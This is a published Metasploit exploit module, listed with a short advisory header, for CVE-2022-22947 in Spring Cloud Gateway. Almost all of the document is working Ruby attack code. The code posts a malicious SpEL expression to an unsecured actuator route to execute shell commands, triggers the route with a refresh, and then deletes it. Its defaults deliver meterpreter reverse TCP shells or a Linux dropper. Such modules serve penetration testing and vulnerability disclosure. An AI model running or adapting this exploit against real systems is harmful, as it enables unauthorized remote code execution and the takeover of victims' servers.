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Spring Cloud Gateway 3.1.0 Remote Code Execution

Spring Cloud Gateway 3.1.0 Remote Code Execution
Posted Oct 17, 2022
Authored by ayantaker | Site metasploit.com

This Metasploit module exploits an unauthenticated remote code execution vulnerability in Spring Cloud Gateway versions 3.0.0 through 3.0.6 and 3.1.0. The vulnerability can be exploited when the Gateway Actuator endpoint is enabled, exposed and unsecured. An unauthenticated attacker can use SpEL expressions to execute code and take control of the victim machine.

tags | exploit, remote, code execution
advisories | CVE-2022-22947
SHA-256 | 21645b3916729fad4fc93eb22039c634ac8ba5e477c97ca0844e7968d2668c3d

Spring Cloud Gateway 3.1.0 Remote Code Execution

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Spring Cloud Gateway Remote Code Execution',
'Description' => %q{
This module exploits an unauthenticated remote code execution vulnerability in Spring Cloud Gateway
versions = 3.1.0 and 3.0.0 to 3.0.6. The vulnerability can be exploited when the Gateway Actuator
endpoint is enabled, exposed and unsecured. An unauthenticated attacker can use SpEL
expressions to execute code and take control of the victim machine.
},
'License' => MSF_LICENSE,
'Author' => [
'Ayan Saha'
],
'References' => [
['CVE', '2022-22947' ],
['URL', 'https://github.com/crowsec-edtech/CVE-2022-22947'],
['URL', 'https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/'],
['URL', 'https://tanzu.vmware.com/security/cve-2022-22947'],
['URL', 'https://spring.io/blog/2022/03/01/spring-cloud-gateway-cve-reports-published']
],
'Platform' => 'linux',
'Arch' => [ARCH_X64, ARCH_CMD],
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp',
'RPORT' => 9000
}
}
],
[
'Linux (Dropper)',
{
'Platform' => 'linux',
'Arch' => [ARCH_X64],
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' },
'Type' => :linux_dropper
}
],
],
'DisclosureDate' => '2022-01-26',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]
}
)
)
end

def run_command(cmd)
route_name = Rex::Text.rand_text_alpha(8).downcase
uri = "/actuator/gateway/routes/#{route_name}"
value = '#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/sh","-c", "' + cmd + '"}).getInputStream()))}'

data = {
'id' => route_name,
'filters' => [
{
'name' => 'AddResponseHeader',
'args' =>
{
'name' => 'Result',
'value' => value
}
}
],
'uri' => "http://#{Rex::Text.rand_text_alphanumeric(6..15)}.com"
}

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri),
'ctype' => 'application/json',
'data' => JSON.generate(data)
})

if res && res.code == 201 && res.message == 'Created'
return route_name
else
return nil
end
end

## Takes in the command and creates a new route with it on the server
def execute_command(cmd, _opts = {})
route_name = run_command(cmd)
if route_name
refresh
cleanup_route(route_name)
else
return false
end
return true
end

## Cleaning up the routes created
def cleanup_route(route_name)
uri = "/actuator/gateway/routes/#{route_name}"
res = send_request_cgi({
'method' => 'DELETE',
'uri' => normalize_uri(uri)
})

if res && res.code == 200
print_good('Route deleted')
return true
else
print_error("Couldn't delete route. Might require manual cleanup.")
return false
end
end

def check
print_status('Checking if server is vulnerable')
res = execute_command('whoami')

if res
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end

## Refresh the gateway to trigger the routes with commands created
def refresh
print_status('Triggering code execution using routes')
uri = '/actuator/gateway/refresh'

send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri)
})
end

def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end

end
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